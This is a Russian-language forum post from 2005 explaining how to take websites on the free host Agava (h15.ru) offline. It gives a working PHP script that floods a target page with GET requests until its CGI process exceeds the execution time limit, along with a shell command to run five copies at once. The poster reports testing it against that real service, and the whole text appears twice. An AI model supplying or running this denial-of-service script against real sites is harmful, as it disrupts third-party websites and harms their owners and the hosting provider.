fucker"ok
02.11.2005, 18:51
Написать большую статью об этом не получится, поэтому я просто расскажу о этой штуке.
Навернякак все пользовались бесплатными хостами. Один из лучших халявных хостеров - агава. (Все сайты в зоне .H**.ru)
На ней я и испытывал элементарный дос GET запросами.
На этих хостах стоит ограничение на время исполнения CGI
Вот на этом и можно сыграть, а именно: сделать сайт нерабочим.
Сделать это до смеху просто: послать большое кол-во GET запросов. (даже дело не в колличестве, а во времени посылки)
Напишим скрипт который будет посылать запросы:
<?php
function GET($server,$url,$cookie=null)
{
$q="GET $url HTTP/1.0\r\n";
$q.="Host: $server\r\n";
if ($cookie) $q.="Cookie: $cookie\r\n";
$q.="\r\n";
$s=fsockopen($server,80);
fputs($s,$q);
fclose($s);
}
$host='somehost.h15.ru';
$page='/index.php';
for ($i=0; $i<100; $i++)
{
GET($host,$page);
}
?>
Думаю всё понятно: скрипт посылает 100 запросов хосту somehost.h15.ru на получение страници /index.php
Ещё лучше запустить этот скрипт раз 5 одновременно (чтобы работало пять процессов).
$php dos.php > /dev/null &
я делаю так раз 5.
Вот запустили вы скрипт и заходите на этот самый somehost.h15.ru/index.php
А вместо этого видите что-то вроде
CGI has exceeded maximum execution time (30) sec and was killed
Самое главное чтобы добится такой ошибки ненадо широкого канала, достаточно обычного модема (у меня модем)
Тестировал исключительно на халявной Агаве, возможно работать будет и на других бесплатных хостерах.
(на народе работать не будет, потому-что там нет никакого cgi :) )
Навернякак все пользовались бесплатными хостами. Один из лучших халявных хостеров - агава. (Все сайты в зоне .H**.ru)
На ней я и испытывал элементарный дос GET запросами.
На этих хостах стоит ограничение на время исполнения CGI
Вот на этом и можно сыграть, а именно: сделать сайт нерабочим.
Сделать это до смеху просто: послать большое кол-во GET запросов. (даже дело не в колличестве, а во времени посылки)
Напишим скрипт который будет посылать запросы:
<?php
function GET($server,$url,$cookie=null)
{
$q="GET $url HTTP/1.0\r\n";
$q.="Host: $server\r\n";
if ($cookie) $q.="Cookie: $cookie\r\n";
$q.="\r\n";
$s=fsockopen($server,80);
fputs($s,$q);
fclose($s);
}
$host='somehost.h15.ru';
$page='/index.php';
for ($i=0; $i<100; $i++)
{
GET($host,$page);
}
?>
Думаю всё понятно: скрипт посылает 100 запросов хосту somehost.h15.ru на получение страници /index.php
Ещё лучше запустить этот скрипт раз 5 одновременно (чтобы работало пять процессов).
$php dos.php > /dev/null &
я делаю так раз 5.
Вот запустили вы скрипт и заходите на этот самый somehost.h15.ru/index.php
А вместо этого видите что-то вроде
CGI has exceeded maximum execution time (30) sec and was killed
Самое главное чтобы добится такой ошибки ненадо широкого канала, достаточно обычного модема (у меня модем)
Тестировал исключительно на халявной Агаве, возможно работать будет и на других бесплатных хостерах.
(на народе работать не будет, потому-что там нет никакого cgi :) )